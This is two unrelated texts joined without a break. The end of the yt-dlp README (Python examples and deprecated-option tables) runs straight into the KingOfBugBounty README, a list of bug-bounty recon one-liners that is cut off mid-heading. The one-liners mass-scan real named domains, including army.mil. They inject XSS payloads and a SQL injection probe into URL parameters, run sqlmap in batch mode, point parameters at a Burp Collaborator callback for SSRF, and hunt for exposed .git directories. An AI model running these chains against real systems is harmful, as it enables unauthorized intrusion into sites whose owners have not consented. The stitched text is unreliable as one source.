ydl: ydl.download(URLS) ``` #### Add a custom PostProcessor ```python import yt_dlp URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc'] # ℹ️ See help(yt_dlp.postprocessor.PostProcessor) class MyCustomPP(yt_dlp.postprocessor.PostProcessor): def run(self, info): self.to_screen('Doing stuff') return [], info with yt_dlp.YoutubeDL() as ydl: # ℹ️ "when" can take any value in yt_dlp.utils.POSTPROCESS_WHEN ydl.add_post_processor(MyCustomPP(), when='pre_process') ydl.download(URLS) ``` #### Use a custom format selector ```python import yt_dlp URLS = ['https://www.youtube.com/watch?v=BaW_jenozKc'] def format_selector(ctx): """ Select the best video and the best audio that won't result in an mkv. NOTE: This is just an example and does not handle all cases """ # formats are already sorted worst to best formats = ctx.get('formats')[::-1] # acodec='none' means there is no audio best_video = next(f for f in formats if f['vcodec'] != 'none' and f['acodec'] == 'none') # find compatible audio extension audio_ext = {'mp4': 'm4a', 'webm': 'webm'}[best_video['ext']] # vcodec='none' means there is no video best_audio = next(f for f in formats if ( f['acodec'] != 'none' and f['vcodec'] == 'none' and f['ext'] == audio_ext)) # These are the minimum required fields for a merged format yield { 'format_id': f'{best_video["format_id"]}+{best_audio["format_id"]}', 'ext': best_video['ext'], 'requested_formats': [best_video, best_audio], # Must be + separated list of protocols 'protocol': f'{best_video["protocol"]}+{best_audio["protocol"]}' } ydl_opts = { 'format': format_selector, } with yt_dlp.YoutubeDL(ydl_opts) as ydl: ydl.download(URLS) ``` <!-- MANPAGE: MOVE "NEW FEATURES" SECTION HERE --> # DEPRECATED OPTIONS These are all the deprecated options and the current alternative to achieve the same effect #### Almost redundant options While these options are almost the same as their new counterparts, there are some differences that prevents them being redundant -j, --dump-json --print "%()j" -F, --list-formats --print formats_table --list-thumbnails --print thumbnails_table --print playlist:thumbnails_table --list-subs --print automatic_captions_table --print subtitles_table #### Redundant options While these options are redundant, they are still expected to be used due to their ease of use --get-description --print description --get-duration --print duration_string --get-filename --print filename --get-format --print format --get-id --print id --get-thumbnail --print thumbnail -e, --get-title --print title -g, --get-url --print urls --match-title REGEX --match-filter "title ~= (?i)REGEX" --reject-title REGEX --match-filter "title !~= (?i)REGEX" --min-views COUNT --match-filter "view_count >=? COUNT" --max-views COUNT --match-filter "view_count <=? COUNT" --break-on-reject Use --break-match-filter --user-agent UA --add-header "User-Agent:UA" --referer URL --add-header "Referer:URL" --playlist-start NUMBER -I NUMBER: --playlist-end NUMBER -I :NUMBER --playlist-reverse -I ::-1 --no-playlist-reverse Default --no-colors --color no_color #### Not recommended While these options still work, their use is not recommended since there are other alternatives to achieve the same --force-generic-extractor --ies generic,default --exec-before-download CMD --exec "before_dl:CMD" --no-exec-before-download --no-exec --all-formats -f all --all-subs --sub-langs all --write-subs --print-json -j --no-simulate --autonumber-size NUMBER Use string formatting, e.g. %(autonumber)03d --autonumber-start NUMBER Use internal field formatting like %(autonumber+NUMBER)s --id -o "%(id)s.%(ext)s" --metadata-from-title FORMAT --parse-metadata "%(title)s:FORMAT" --hls-prefer-native --downloader "m3u8:native" --hls-prefer-ffmpeg --downloader "m3u8:ffmpeg" --list-formats-old --compat-options list-formats (Alias: --no-list-formats-as-table) --list-formats-as-table --compat-options -list-formats [Default] (Alias: --no-list-formats-old) --youtube-skip-dash-manifest --extractor-args "youtube:skip=dash" (Alias: --no-youtube-include-dash-manifest) --youtube-skip-hls-manifest --extractor-args "youtube:skip=hls" (Alias: --no-youtube-include-hls-manifest) --youtube-include-dash-manifest Default (Alias: --no-youtube-skip-dash-manifest) --youtube-include-hls-manifest Default (Alias: --no-youtube-skip-hls-manifest) --geo-bypass --xff "default" --no-geo-bypass --xff "never" --geo-bypass-country CODE --xff CODE --geo-bypass-ip-block IP_BLOCK --xff IP_BLOCK #### Developer options These options are not intended to be used by the end-user --test Download only part of video for testing extractors --load-pages Load pages dumped by --write-pages --youtube-print-sig-code For testing youtube signatures --allow-unplayable-formats List unplayable formats also --no-allow-unplayable-formats Default #### Old aliases These are aliases that are no longer documented for various reasons --avconv-location --ffmpeg-location --clean-infojson --clean-info-json --cn-verification-proxy URL --geo-verification-proxy URL --dump-headers --print-traffic --dump-intermediate-pages --dump-pages --force-write-download-archive --force-write-archive --load-info --load-info-json --no-clean-infojson --no-clean-info-json --no-split-tracks --no-split-chapters --no-write-srt --no-write-subs --prefer-unsecure --prefer-insecure --rate-limit RATE --limit-rate RATE --split-tracks --split-chapters --srt-lang LANGS --sub-langs LANGS --trim-file-names LENGTH --trim-filenames LENGTH --write-srt --write-subs --yes-overwrites --force-overwrites #### Sponskrub Options Support for [SponSkrub](https://github.com/faissaloo/SponSkrub) has been deprecated in favor of the `--sponsorblock` options --sponskrub --sponsorblock-mark all --no-sponskrub --no-sponsorblock --sponskrub-cut --sponsorblock-remove all --no-sponskrub-cut --sponsorblock-remove -all --sponskrub-force Not applicable --no-sponskrub-force Not applicable --sponskrub-location Not applicable --sponskrub-args Not applicable #### No longer supported These options may no longer work as intended --prefer-avconv avconv is not officially supported by yt-dlp (Alias: --no-prefer-ffmpeg) --prefer-ffmpeg Default (Alias: --no-prefer-avconv) -C, --call-home Not implemented --no-call-home Default --include-ads No longer supported --no-include-ads Default --write-annotations No supported site has annotations now --no-write-annotations Default --compat-options seperate-video-versions No longer needed #### Removed These options were deprecated since 2014 and have now been entirely removed -A, --auto-number -o "%(autonumber)s-%(id)s.%(ext)s" -t, -l, --title, --literal -o "%(title)s-%(id)s.%(ext)s" # CONTRIBUTING See [CONTRIBUTING.md](CONTRIBUTING.md#contributing-to-yt-dlp) for instructions on [Opening an Issue](CONTRIBUTING.md#opening-an-issue) and [Contributing code to the project](CONTRIBUTING.md#developer-instructions) # WIKI See the [Wiki](https://github.com/yt-dlp/yt-dlp/wiki) for more information
<h1 align="center"> 👑 What is KingOfBugBounty Project </h1> Our main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wish to influence Onelinetips and explain the commands, for the better understanding of new hunters.. 👑 ## Stats King ![OFJAAAH](https://github-readme-stats.vercel.app/api?username=KingOfBugbounty&show_icons=true&theme=dracula) [![DigitalOcean Referral Badge](https://web-platforms.sfo2.cdn.digitaloceanspaces.com/WWW/Badge%201.svg)](https://www.digitalocean.com/?refcode=703ff752fd6f&utm_campaign=Referral_Invite&utm_medium=Referral_Program&utm_source=badge) ## Join Us [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/joinchat/DN_iQksIuhyPKJL1gw0ttA) [![The King](https://aleen42.github.io/badges/src/twitter.svg)](https://twitter.com/ofjaaah) ## Event Bug Bounty Brasil - [Link Event](https://canaltech.com.br/hacker/evento-nacional-oferece-recompensas-para-hackers-cacadores-de-falhas-em-sistemas-190613/) ## BugBuntu Download - [BugBuntu](https://sourceforge.net/projects/bugbuntu/) - [@bt0s3c](https://twitter.com/bt0s3c) - [@MrCl0wnLab](https://twitter.com/MrCl0wnLab) ## Special thanks - [@bt0s3c](https://twitter.com/bt0s3c) - [@MrCl0wnLab](https://twitter.com/MrCl0wnLab) - [@Stokfredrik](https://twitter.com/stokfredrik) - [@Jhaddix](https://twitter.com/Jhaddix) - [@pdiscoveryio](https://twitter.com/pdiscoveryio) - [@TomNomNom](https://twitter.com/TomNomNom) - [@jeff_foley](https://twitter.com/@jeff_foley) - [@NahamSec](https://twitter.com/NahamSec) - [@j3ssiejjj](https://twitter.com/j3ssiejjj) - [@zseano](https://twitter.com/zseano) - [@pry0cc](https://twitter.com/pry0cc) - [@wellpunk](https://twitter.com/wellpunk) ## Scripts that need to be installed To run the project, you will need to install the following programs: - [Amass](https://github.com/OWASP/Amass) - [Anew](https://github.com/tomnomnom/anew) - [Anti-burl](https://github.com/tomnomnom/hacks/tree/master/anti-burl) - [Assetfinder](https://github.com/tomnomnom/assetfinder) - [Axiom](https://github.com/pry0cc/axiom) - [CF-check](https://github.com/dwisiswant0/cf-check) - [Chaos](https://github.com/projectdiscovery/chaos-client) - [Dalfox](https://github.com/hahwul/dalfox) - [DNSgen](https://github.com/ProjectAnte/dnsgen) - [Filter-resolved](https://github.com/tomnomnom/hacks/tree/master/filter-resolved) - [Findomain](https://github.com/Edu4rdSHL/findomain) - [Fuff](https://github.com/ffuf/ffuf) - [Gargs](https://github.com/brentp/gargs) - [Gau](https://github.com/lc/gau) - [Gf](https://github.com/tomnomnom/gf) - [Github-Search](https://github.com/gwen001/github-search) - [Gospider](https://github.com/jaeles-project/gospider) - [Gowitness](https://github.com/sensepost/gowitness) - [Hakrawler](https://github.com/hakluke/hakrawler) - [HakrevDNS](https://github.com/hakluke/hakrevdns) - [Haktldextract](https://github.com/hakluke/haktldextract) - [Haklistgen](https://github.com/hakluke/haklistgen) - [Html-tool](https://github.com/tomnomnom/hacks/tree/master/html-tool) - [Httpx](https://github.com/projectdiscovery/httpx) - [Jaeles](https://github.com/jaeles-project/jaeles) - [Jsubfinder](https://github.com/hiddengearz/jsubfinder) - [Kxss](https://github.com/Emoe/kxss) - [LinkFinder](https://github.com/GerbenJavado/LinkFinder) - [Metabigor](https://github.com/j3ssie/metabigor) - [MassDNS](https://github.com/blechschmidt/massdns) - [Naabu](https://github.com/projectdiscovery/naabu) - [Qsreplace](https://github.com/tomnomnom/qsreplace) - [Rush](https://github.com/shenwei356/rush) - [SecretFinder](https://github.com/m4ll0k/SecretFinder) - [Shodan](https://help.shodan.io/command-line-interface/0-installation) - [ShuffleDNS](https://github.com/projectdiscovery/shuffledns) - [SQLMap](https://github.com/sqlmapproject/sqlmap) - [Subfinder](https://github.com/projectdiscovery/subfinder) - [SubJS](https://github.com/lc/subjs) - [Unew](https://github.com/dwisiswant0/unew) - [WaybackURLs](https://github.com/tomnomnom/waybackurls) - [Wingman](https://xsswingman.com/#faq) - [Notify](https://github.com/projectdiscovery/notify) - [Goop](https://github.com/deletescape/goop) - [Tojson](https://github.com/tomnomnom/hacks/tree/master/tojson) - [GetJS](https://github.com/003random/getJS) - [X8](https://github.com/Sh1Yo/x8) - [Unfurl](https://github.com/tomnomnom/unfurl) - [XSStrike](https://github.com/s0md3v/XSStrike) - [Page-fetch](https://github.com/detectify/page-fetch) ### .bashrc shortcut OFJAAAH ```bash reconjs(){ gau -subs $1 |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> js.txt ; cat js.txt | anti-burl | awk '{print $4}' | sort -u >> AliveJs.txt } cert(){ curl -s "[https://crt.sh/?q=%.$1&output=json](https://crt.sh/?q=%25.$1&output=json)" | jq -r '.[].name_value' | sed 's/\*\.//g' | anew } anubis(){ curl -s "[https://jldc.me/anubis/subdomains/$1](https://jldc.me/anubis/subdomains/$1)" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew } ``` ### Oneliner Haklistgen - @hakluke ```bash subfinder -silent -d domain | anew subdomains.txt | httpx -silent | anew urls.txt | hakrawler | anew endpoints.txt | while read url; do curl $url --insecure | haklistgen | anew wordlist.txt; done cat subdomains.txt urls.txt endpoints.txt | haklistgen | anew wordlist.txt; ``` ### Running JavaScript on each page send to proxy. - [Explained command](https://bit.ly/3daIyFw) ```bash cat 200http | page-fetch --javascript '[...document.querySelectorAll("a")].map(n => n.href)' --proxy http://192.168.15.47:8080 ``` ### Dalfox scan to bugbounty targets. - [Explained command](https://bit.ly/3nnEhCj) ```bash xargs -a xss-urls.txt -I@ bash -c 'python3 /dir-to-xsstrike/xsstrike.py -u @ --fuzzer' ``` ### Dalfox scan to bugbounty targets. - [Explained command](https://bit.ly/324Sr1x) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @ ``` ### Using x8 to Hidden parameters discovery - [Explaining command](https://bit.ly/3w48wl8) ```bash assetfinder domain | httpx -silent | sed -s 's/$/\//' | xargs -I@ sh -c 'x8 -u @ -w params.txt -o enumerate' ``` ### Extract .js Subdomains - [Explaining command](https://bit.ly/339CN5p) ```bash echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | anew JS echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | tojson | anew JS1 ``` ### goop to search .git files. - [Explaining command](https://bit.ly/3d0VcY5) ```bash xargs -a xss -P10 -I@ sh -c 'goop @' ``` ### Using chaos list to enumerate endpoint ```bash curl -s https://raw.githubusercontent.com/projectdiscovery/public-bugbounty-programs/master/chaos-bugbounty-list.json | jq -r '.programs[].domains[]' | xargs -I@ sh -c 'python3 paramspider.py -d @' ``` ### Using Wingman to search XSS reflect / DOM XSS - [Explaining command](https://bit.ly/3m5ft1g) ```bash xargs -a domain -I@ sh -c 'wingman -u @ --crawl | notify' ``` ### Search ASN to metabigor and resolvers domain - [Explaining command](https://bit.ly/3bvghsY) ```bash echo 'dod' | metabigor net --org -v | awk '{print $3}' | sed 's/[[0-9]]\+\.//g' | xargs -I@ sh -c 'prips @ | hakrevdns | anew' ``` ### OneLiners ### Search .json gospider filter anti-burl - [Explaining command](https://bit.ly/3eoUhSb) ```bash gospider -s https://twitch.tv --js | grep -E "\.js(?:onp?)?$" | awk '{print $4}' | tr -d "[]" | anew | anti-burl ``` ### Search .json subdomain - [Explaining command](https://bit.ly/3kZydis) ```bash assetfinder http://tesla.com | waybackurls | grep -E "\.json(?:onp?)?$" | anew ``` ### SonarDNS extract subdomains - [Explaining command](https://bit.ly/2NvXRyv) ```bash wget https://opendata.rapid7.com/sonar.fdns_v2/2021-02-26-1614298023-fdns_a.json.gz ; gunzip 2021-02-26-1614298023-fdns_a.json.gz ; cat 2021-02-26-1614298023-fdns_a.json | grep ".DOMAIN.com" | jq .name | tr '" " "' " / " | tee -a sonar ``` ### Kxss to search param XSS - [Explaining command](https://bit.ly/3aaEDHL) ```bash echo http://testphp.vulnweb.com/ | waybackurls | kxss ``` ### Recon subdomains and gau to search vuls DalFox - [Explaining command](https://bit.ly/3aMXQOF) ```bash assetfinder testphp.vulnweb.com | gau | dalfox pipe ``` ### Recon subdomains and Screenshot to URL using gowitness - [Explaining command](https://bit.ly/3aKSSCb) ```bash assetfinder -subs-only army.mil | httpx -silent -timeout 50 | xargs -I@ sh -c 'gowitness single @' ``` ### Extract urls to source code comments - [Explaining command](https://bit.ly/2MKkOxm) ```bash cat urls1 | html-tool comments | grep -oE '\b(https?|http)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]*[-A-Za-z0-9+&@#/%=~_|]' ``` ### Axiom recon "complete" - [Explaining command](https://bit.ly/2NIavul) ```bash findomain -t domain -q -u url ; axiom-scan url -m subfinder -o subs --threads 3 ; axiom-scan subs -m httpx -o http ; axiom-scan http -m ffuf --threads 15 -o ffuf-output ; cat ffuf-output | tr "," " " | awk '{print $2}' | fff | grep 200 | sort -u ``` ### Domain subdomain extraction - [Explaining command](https://bit.ly/3c2t6eG) ```bash cat url | haktldextract -s -t 16 | tee subs.txt ; xargs -a subs.txt -I@ sh -c 'assetfinder -subs-only @ | anew | httpx -silent -threads 100 | anew httpDomain' ``` ### Search .js using - [Explaining command](https://bit.ly/362LyQF) ```bash assetfinder -subs-only DOMAIN -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | awk '{print $3}' | grep -E "\.js(?:onp?)?$" | anew ``` ### This one was huge ... But it collects .js gau + wayback + gospider and makes an analysis of the js. tools you need below. - [Explaining command](https://bit.ly/3sD0pLv) ```bash cat dominios | gau |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> gauJS.txt ; cat dominios | waybackurls | grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> waybJS.txt ; gospider -a -S dominios -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" >> gospiderJS.txt ; cat gauJS.txt waybJS.txt gospiderJS.txt | sort -u >> saidaJS ; rm -rf *.txt ; cat saidaJS | anti-burl |awk '{print $4}' | sort -u >> AliveJs.txt ; xargs -a AliveJs.txt -n 2 -I@ bash -c "echo -e '\n[URL]: @\n'; python3 linkfinder.py -i @ -o cli" ; cat AliveJs.txt | python3 collector.py output ; rush -i output/urls.txt 'python3 SecretFinder.py -i {} -o cli | sort -u >> output/resultJSPASS' ``` ### My recon automation simple. OFJAAAH.sh - [Explaining command](https://bit.ly/3nWHM22) ```bash chaos -d $1 -o chaos1 -silent ; assetfinder -subs-only $1 >> assetfinder1 ; subfinder -d $1 -o subfinder1 -silent ; cat assetfinder1 subfinder1 chaos1 >> hosts ; cat hosts | anew clearDOMAIN ; httpx -l hosts -silent -threads 100 | anew http200 ; rm -rf chaos1 assetfinder1 subfinder1 ``` ### Download all domains to bounty chaos - [Explaining command](https://bit.ly/38wPQ4o) ```bash curl https://chaos-data.projectdiscovery.io/index.json | jq -M '.[] | .URL | @sh' | xargs -I@ sh -c 'wget @ -q'; mkdir bounty ; unzip '*.zip' -d bounty/ ; rm -rf *zip ; cat bounty/*.txt >> allbounty ; sort -u allbounty >> domainsBOUNTY ; rm -rf allbounty bounty/ ; echo '@OFJAAAH' ``` ### Recon to search SSRF Test - [Explaining command](https://bit.ly/3shFFJ5) ```bash findomain -t DOMAIN -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace http://YOUR.burpcollaborator.net ``` ### ShuffleDNS to domains in file scan nuclei. - [Explaining command](https://bit.ly/2L3YVsc) ```bash xargs -a domain -I@ -P500 sh -c 'shuffledns -d "@" -silent -w words.txt -r resolvers.txt' | httpx -silent -threads 1000 | nuclei -t /root/nuclei-templates/ -o re1 ``` ### Search Asn Amass - [Explaining command](https://bit.ly/2EMooDB) Amass intel will search the organization "paypal" from a database of ASNs at a faster-than-default rate. It will then take these ASN numbers and scan the complete ASN/IP space for all tld's in that IP space (paypal.com, paypal.co.id, paypal.me) ```bash amass intel -org paypal -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500'' ``` ### SQLINJECTION Mass domain file - [Explaining command](https://bit.ly/354lYuf) ```bash httpx -l domains -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1' ``` ### Using chaos search js - [Explaining command](https://bit.ly/32vfRg7) Chaos is an API by Project Discovery that discovers subdomains. Here we are querying thier API for all known subdoains of "att.com". We are then using httpx to find which of those domains is live and hosts an HTTP or HTTPs site. We then pass those URLs to GoSpider to visit them and crawl them for all links (javascript, endpoints, etc). We then grep to find all the JS files. We pipe this all through anew so we see the output iterativlely (faster) and grep for "(http|https)://att.com" to make sure we dont recieve output for domains that are not "att.com". ```bash chaos -d att.com | httpx -silent | xargs -I@ -P20 sh -c 'gospider -a -s "@" -d 2' | grep -Eo "(http|https)://[^/"].*.js+" | sed "s#] ``` ### Search Subdomain using Gospider - [Explaining command](https://bit.ly/2QtG9do) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) we use some blacklist, so that it doesn’t travel, not to delay, grep is a command-line utility for searching plain-text data sets for lines that match a regular expression to search HTTP and HTTPS ```bash gospider -d 0 -s "https://site.com" -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### Using gospider to chaos - [Explaining command](https://bit.ly/2D4vW3W) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) chaos is a subdomain search project, to use it needs the api, to xargs is a command on Unix and most Unix-like operating systems used to build and execute commands from standard input. ```bash chaos -d paypal.com -bbq -filter-wildcard -http-url | xargs -I@ -P5 sh -c 'gospider -a -s "@" -d 3' ``` ### Using recon.dev and gospider crawler subdomains - [Explaining command](https://bit.ly/32pPRDa) We will use recon.dev api to extract ready subdomains infos, then parsing output json with jq, replacing with a Stream EDitor all blank spaces If anew, we can sort and display unique domains on screen, redirecting this output list to httpx to create a new list with just alive domains. Xargs is being used to deal with gospider with 3 parallel proccess and then using grep within regexp just taking http urls. ```bash curl "https://recon.dev/api/search?key=apiKEY&domain=paypal.com" |jq -r '.[].rawDomains[]' | sed 's/ //g' | anew |httpx -silent | xargs -P3 -I@ gospider -d 0 -s @ -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### PSQL - search subdomain using cert.sh - [Explaining command](https://bit.ly/32rMA6e) Make use of pgsql cli of crt.sh, replace all comma to new lines and grep just twitch text domains with anew to confirm unique outputs ```bash psql -A -F , -f querycrt -h http://crt.sh -p 5432 -U guest certwatch 2>/dev/null | tr ', ' '\n' | grep twitch | anew ``` ### Search subdomains using github and httpx - [Github-search](https://github.com/gwen001/github-search) Using python3 to search subdomains, httpx filter hosts by up status-code response (200) ```python ./github-subdomains.py -t APYKEYGITHUB -d domaintosearch | httpx --title ``` ### Search SQLINJECTION using qsreplace search syntax error - [Explained command](https://bit.ly/3hxFWS2) ```bash grep "=" .txt| qsreplace "' OR '1" | httpx -silent -store-response-dir output -threads 100 | grep -q -rn "syntax\|mysql" output 2>/dev/null && \printf "TARGET \033[0;32mCould Be Exploitable\e[m\n" || printf "TARGET \033[0;31mNot Vulnerable\e[m\n" ``` ### Search subdomains using jldc - [Explained command](https://bit.ly/2YBlEjm) ```bash curl -s "https://jldc.me/anubis/subdomains/att.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew ``` ### Search subdomains in assetfinder using hakrawler spider to search links in content responses - [Explained command](https://bit.ly/3hxRvZw) ```bash assetfinder -subs-only tesla.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | grep "tesla" ``` ### Search subdomains in cert.sh - [Explained command](https://bit.ly/2QrvMXl) ```bash curl -s "https://crt.sh/?q=%25.att.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | httpx -title -silent | anew ``` ### Search subdomains in cert.sh assetfinder to search in link /.git/HEAD - [Explained command](https://bit.ly/3lhFcTH) ```bash curl -s "https://crt.sh/?q=%25.tesla.com&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ```bash curl -s "https://crt.sh/?q=%25.enjoei.com.br&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | httpx -silent -path /.git/HEAD -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Collect js files from hosts up by gospider - [Explained command](https://bit.ly/3aWIwyI) ```bash xargs -P 500 -a pay -I@ sh -c 'nc -w1 -z -v @ 443 2>/dev/null && echo @' | xargs -I@ -P10 sh -c 'gospider -a -s "https://@" -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" | anew' ``` ### Subdomain search Bufferover resolving domain to httpx - [Explained command](https://bit.ly/3lno9j0) ```bash curl -s https://dns.bufferover.run/dns?q=.sony.com |jq -r .FDNS_A[] | sed -s 's/,/\n/g' | httpx -silent | anew ``` ### Using gargs to gospider search with parallel proccess - [Gargs](https://github.com/brentp/gargs) - [Explained command](https://bit.ly/2EHj1FD) ```bash httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne ``` ### Injection xss using qsreplace to urls filter to gospider - [Explained command](https://bit.ly/3joryw9) ```bash gospider -S domain.txt -t 3 -c 100 | tr " " "\n" | grep -v ".js" | grep "https://" | grep "=" | qsreplace '%22><svg%20onload=confirm(1);>' ``` ### Extract URL's to apk - [Explained command](https://bit.ly/2QzXwJr) ```bash apktool d app.apk -o uberApk;grep -Phro "(https?://)[\w\.-/]+[\"'\`]" uberApk/ | sed 's#"##g' | anew | grep -v "w3\|android\|github\|schemas.android\|google\|goo.gl" ``` ### Chaos to Gospider - [Explained command](https://bit.ly/3gFJbpB) ```bash chaos -d att.com -o att -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H "x-forwarded-for: 127.0.0.1" -H "User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" -s @ ``` ### Checking invalid certificate - [Real script](https://bit.ly/2DhAwMo) - [Script King](https://bit.ly/34Z0kIH) ```bash xargs -a domain -P1000 -I@ sh -c 'bash cert.sh @ 2> /dev/null' | grep "EXPIRED" | awk '/domain/{print $5}' | httpx ``` ### Using shodan & Nuclei - [Explained command](https://bit.ly/3jslKle) Shodan is a search engine that lets the user find specific types of computers connected to the internet, AWK Cuts the text and prints the third column. httpx is a fast and multi-purpose HTTP using -silent. Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use, You need to download the nuclei templates. ```bash shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/ ``` ### Open Redirect test using gf. - [Explained command](https://bit.ly/3hL263x) echo is a command that outputs the strings it is being passed as arguments. What to Waybackurls? Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for .domain.com and output them on stdout. Httpx? is a fast and multi-purpose HTTP. GF? A wrapper around grep to avoid typing common patterns and anew Append lines from stdin to a file, but only if they don't already appear in the file. Outputs new lines to stdout too, removes duplicates. ```bash echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew ``` ### Using shodan to jaeles "How did I find a critical today? well as i said it was very simple, using shodan and jaeles". - [Explained command](https://bit.ly/2QQfY0l) ```bash shodan domain domain| awk '{print $3}'| httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using Chaos to jaeles "How did I find a critical today?. - [Explained command](https://bit.ly/2YXiK8N) To chaos this project to projectdiscovery, Recon subdomains, using httpx, if we see the output from chaos domain.com we need it to be treated as http or https, so we use httpx to get the results. We use anew, a tool that removes duplicates from @TomNomNom, to get the output treated for import into jaeles, where he will scan using his templates. ```bash chaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using shodan to jaeles - [Explained command](https://bit.ly/2Dkmycu) ```bash domain="domaintotest";shodan domain $domain | awk -v domain="$domain" '{print $1"."domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts ``` ### Search to files using assetfinder and ffuf - [Explained command](https://bit.ly/2Go3Ba4) ```bash assetfinder att.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200 -H "Content-Type: application/json" -t 150 -H "X-Forwarded-For:127.0.0.1"' ``` ### HTTPX using new mode location and injection XSS using qsreplace. - [Explained command](https://bit.ly/2Go3Ba4) ```bash httpx -l master.txt -silent -no-color -threads 300 -location 301,302 | awk '{print $2}' | grep -Eo '(http|https)://[^/"].*' | tr -d '[]' | anew | xargs -I@ sh -c 'gospider -d 0 -s @' | tr ' ' '\n' | grep -Eo '(http|https)://[^/"].*' | grep "=" | qsreplace "<svg onload=alert(1)>" "' ``` ### Grap internal juicy paths and do requests to them. - [Explained command](https://bit.ly/357b1IY) ```bash export domain="https://target";gospider -s $domain -d 3 -c 300 | awk '/linkfinder/{print $NF}' | grep -v "http" | grep -v "http" | unfurl paths | anew | xargs -I@ -P50 sh -c 'echo $domain@ | httpx -silent -content-length' ``` ### Download to list bounty targets We inject using the sed .git/HEAD command at the end of each url. - [Explained command](https://bit.ly/2R2gNn5) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv | cat domains.txt | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Using to findomain to SQLINJECTION. - [Explained command](https://bit.ly/2ZeAhcF) ```bash findomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1 ``` ### Jaeles scan to bugbounty targets. - [Explained command](https://bit.ly/3jXbTnU) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ jaeles scan -s /jaeles-signatures/ -u @ ``` ### JLDC domain search subdomain, using rush and jaeles. - [Explained command](https://bit.ly/3hfNV5k) ```bash curl -s "https://jldc.me/anubis/subdomains/sony.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | httpx -silent -threads 300 | anew | rush -j 10 'jaeles scan -s /jaeles-signatures/ -u {}' ``` ### Chaos to search subdomains check cloudflareip scan port. - [Explained command](https://bit.ly/3hfNV5k) ```bash chaos -silent -d paypal.com | filter-resolved | cf-check | anew | naabu -rate 60000 -silent -verify | httpx -title -silent ``` ### Search JS to domains file. - [Explained command](https://bit.ly/2Zs13yj) ```bash cat FILE TO TARGET | httpx -silent | subjs | anew ``` ### Search JS using assetfinder, rush and hakrawler. - [Explained command](https://bit.ly/3ioYuV0) ```bash assetfinder -subs-only paypal.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | rush 'hakrawler -plain -linkfinder -depth 5 -url {}' | grep "paypal" ``` ### Search to CORS using 